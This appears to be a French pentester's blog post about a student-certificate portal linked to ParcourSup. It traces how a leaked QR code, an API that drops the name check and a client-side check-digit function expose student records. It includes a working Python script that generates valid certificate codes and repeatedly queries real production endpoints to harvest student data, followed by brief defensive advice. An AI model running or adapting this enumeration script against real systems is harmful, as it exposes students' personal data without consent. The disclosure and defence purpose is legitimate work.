{Hacking} – Fuites de données chez ParcourSup ?

Ciao a tutti !

C'est encore moi, comme dirait James de la Team Rocket "Pour vous Jouer un mauvais tour" !
Ce lundi en reprenant le boulot, mes collègues m'informent d'un piratage de ParcourSup.

Personnellement, je ne fais pas partie de la génération qui est concernée par l'utilisation de cette plateforme ...
Cela étant, on a tous un frère, une soeur, un cousin ... un petit neveu ...
Bref on connait tous au moins une personne qui est concernée de près ou de loin par ce "merveilleux" outils !

J'essaie donc d'en savoir un peu plus, mais visiblement très peu de détails sont disponibles sur la toile.
A la fois sur la façon dont a été exploité la faille, mais également la quantité, la typologie et la qualité des données récupérées ...
Aussi, sans preuve authentique, cette fuite fait l'effet d'un pétard mouillé.
Dans le fond personne ne sait vraiment s'il y a eu une fuite de données massive digne d'un véritable tsunami ... ou pas.

Un backend ... vraiment ?

Certains articles parlent d'un backend (espace privé permettant l'administration d'une application web).
J'ai donc fait ma petite enquête à l'aide de la plateforme "SecurityTrail", qui permet de lister les sous-domaine d'un domaine, et dont j'ai déjà fait l'apologie à plusieurs reprises.

56 sous-domaines ... pour le domaine parcoursup.fr
Une petite habitude, consiste à sonder un peu si les sous-domaines exposent des fichiers sensibles.
En règle générale on en trouve toujours au moins 1

ParcourSup ne fera donc pas office d'exception !

Mais je préfère vous dire tout de suite ... ce n'est pas là que mon attention s'est portée.
En creusant un peu plus, on trouve un tout p'tit domaine : https://qrcode.parcoursup.fr

Le minage de QRcode, ça vous dit ?

En regardant attentivement "qrcode.parcoursup.fr", on constate qu'il est possible d'accéder à des informations par la simple utilisation d'un QrCode !

Cela rappelle forcément à tout le monde cette fabuleuse époque du Covid19, où l'on voyait les gens faire n'importent quoi de leurs QrCode.
En quelques minutes on pouvait créer et automatiser la collecte de QrCode sur des photos Facebook, Twitter, etc .... où les gens exhibaient fièrement leurs certificats de vaccination sous la forme d'un QrCode ....

Je me tente donc une petite recherche Google, ne sait-on jamais ...


Et au bout de quelques minutes de recherche, j'arrive sur un document pour s'inscrire à l'UPPA de Bordeau :
https://formation.univ-pau.fr/_resource/DEVE/Guides/Guide%20Je%20m%27inscris%20à%20l%27UPPA.pdf?download=true

En deuxième page de ce document ... un qrcode .... pointant vers de vrais données ...
Chose amusante, ils ont modifié le N° de l'attestation sur l'image de présentation ... mais malheureusement ils ne l'ont pas fait dans le contenu du QrCode.

Un QrCode qui nous amène sur une plateforme mal sécurisée ...

Vous l'aurez compris, nous arrivons désormais après avoir scanné le QrCode sur une plateforme officielle "https://cvec-ctrl.etudiant.gouv.fr"

4 champs obligatoires ?
Non, en réalité, la vulnérabilité réside dans le fait qu'il n'y a en réalité que 2 champs obligatoires ....

Si je repars du QrCode précédemment récupéré, j'ai "au moins" l'info correspondant au 3 champs : "BOR1 BXRGQP 73"

Si je mets un nom bidon, et que je valide, je vois partir une requête ....

https://cve-2021-controle-prod.nuonet.fr/api/content_certificat/BOR1BXRGQP73?etudiant=DYRKO

Requête qui me renvoie aussitôt une erreur, me disant que le nom ne correspond pas.

{"code":"BOR1BXRGQP73","message":"le nom n\u0027est pas correct"}

Supprimons désormais la variable "étudiant" (qui contient le nom) de l'équation ...

https://cve-2021-controle-prod.nuonet.fr/api/content_certificat/BOR1BXRGQP73

Nous constatons désormais que la requête nous renvoie à présent les informations de l'étudiant.

4 champs obligatoires ... ou seulement 2 ?

Comme vu précédemment, le nom ... n'est pas vraiment obligatoire ... il s'agit d'un paramètre facultatif (au niveau de l'API)
Il nous reste donc 3 champs ...
Je vais donc regarder en faisant une modification sur le dernier champ

Aucune requête ne part, mais un message d'erreur m'indique que le code est erroné.
Confirmant donc le fond de ma pensée.
Ce dernier champ est une clé de contrôle s'appuyant sur les 2 premiers champs.

Ainsi donc ... en quelques coups de cuillère à pot et en fouinant un peu dans le code Javascript de la page, j'obtiens la fonction qui contrôle ce champ.
Qui dit contrôle dit "Je vérifie que la valeur renseignée correspond à XX"
Ainsi donc, avec l'algorithme de contrôle, je suis en mesure de générer moi-même cette clé de contrôle.

Etape1

Je récupère ici les éléments d'affichage liés à l'erreur.

Etape 2

Je recherche dans le / les fichiers Javascript, les endroits où ceux-ci sont utilisés.

Après lecture du code j'en conclu que la fonction de génération de la clé (du dernier champ) est la suivante :

na= (d,t) =>{
    for(var a=d+""+t,f=a.split(""),y=0,w=0;w<f.length;w++)
         y+=f[w].charCodeAt()*(w+1);
    return y=97-y%97,y<10?"0"+y:""+y
}

2 champs obligatoires documentés via une REGEX

A la simple lecture du code source, nous savons que les 2 champs obligatoires sont :

1 champ correspondant à 3 lettres suivies d'un chiffre
1 champ correspondant à 6 lettres

En quelques minutes un script qui "recherche" des étudiants

Tous ces éléments publics nous permettent désormais d'avoir une compréhension du fonctionnement permettant de saisir un identifiant valide.

J'ai donc sur cette base, produit le script python suivant

import requests
import random
import string
import time
import threading
import re

s = requests.Session();

def get_random_string(length):
    return ''.join(random.choice(string.ascii_uppercase) for i in range(length))

def cleanRawContent (html) :
        result = re.sub('<[^<]+?>', '', html).split("\n");
        result = [s.strip() for s in result];
        result = list(filter(lambda x: len(x)>2,result));
        return "\n".join(result);

def  giveMeKey(d, t) :
        charTab = a=d+t;
        y = 0;
        w = 0;
        for l in charTab :
                y = y + (ord(l)*(w+1));
                w = w + 1;
        y=97-y%97;
        return "0"+str(y) if y<10 else str(y)

def newSearch (token) :
        try :
                oldRes = s.get('https://cve-2021-controle-prod.nuonet.fr/api/content_certificat/' + token).json();
                res    = s.get('https://cvec-ctrl.etudiant.gouv.fr/api/content_certificat/' + token).json();
                if 'content' in res :
                        print "=========   NEW   =========";
                        print(cleanRawContent(res['content']));
                elif 'content' in oldRes :
                        print "=========   OLD   =========";
                        print(cleanRawContent(oldRes['content']));

        except Exception as error :
                x = -1;
while True :
        city  = "BOR1";
        magik = get_random_string(6);
        key   = giveMeKey(city, magik);
        token = city + magik + key;
        thread = threading.Thread(target=newSearch, args=(token,))
        thread.start()
        time.sleep(100 / 1000);
	

Celui-ci génère de manière aléatoire les 2 premiers blocs (edit : dans le script la première valeur est fixée à "BOR1", mais vous pouvez mettre de l'aléatoire : 3 alphas, 1 num), la 3ème clef est générée, et ça va chercher si une occurrence d'étudiant est renvoyée avec ces éléments.

Au bout de quelques minutes de recherches ... nous voyons les premiers résultats.

Conclusion

Cela faisait un sacré bout de temps que je n'avais pas écrit un article sur la "progression" de recherche de vulnérabilité.

Côté Pentester :
Ici il s'agit de démontrer la façon dont un "attaquant" va s'y prendre, comment il va "raisonner", et démontrer de fil en aiguille, comment progressivement les découvertes, mises bout à bout vont permettre d'aboutir à une potentielle fuite de données (dans le cas de cet article)

Côté défense ;
il est important de maximiser les contrôles côtés backend, et de minimiser l'information présente sur le front. Ici, beaucoup trop de données côtés front fournissent de la documentation pour les pirates.

(1) Le nom doit être une valeur obligatoire pour conserver la logique front office / backend
(2) Le contrôle de la clé doit se faire côté backend, on l'interroge via une requête Ajax qui nous dit OK ou KO - On sécurise le tout derrière un système anti-ddos / WAF

Côté monsieur tout le monde :
Attention ou vous mettez vos QrCode !!!!

Laisser une réponse

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site est protégé par reCAPTCHA et le GooglePolitique de confidentialité etConditions d'utilisation appliquer.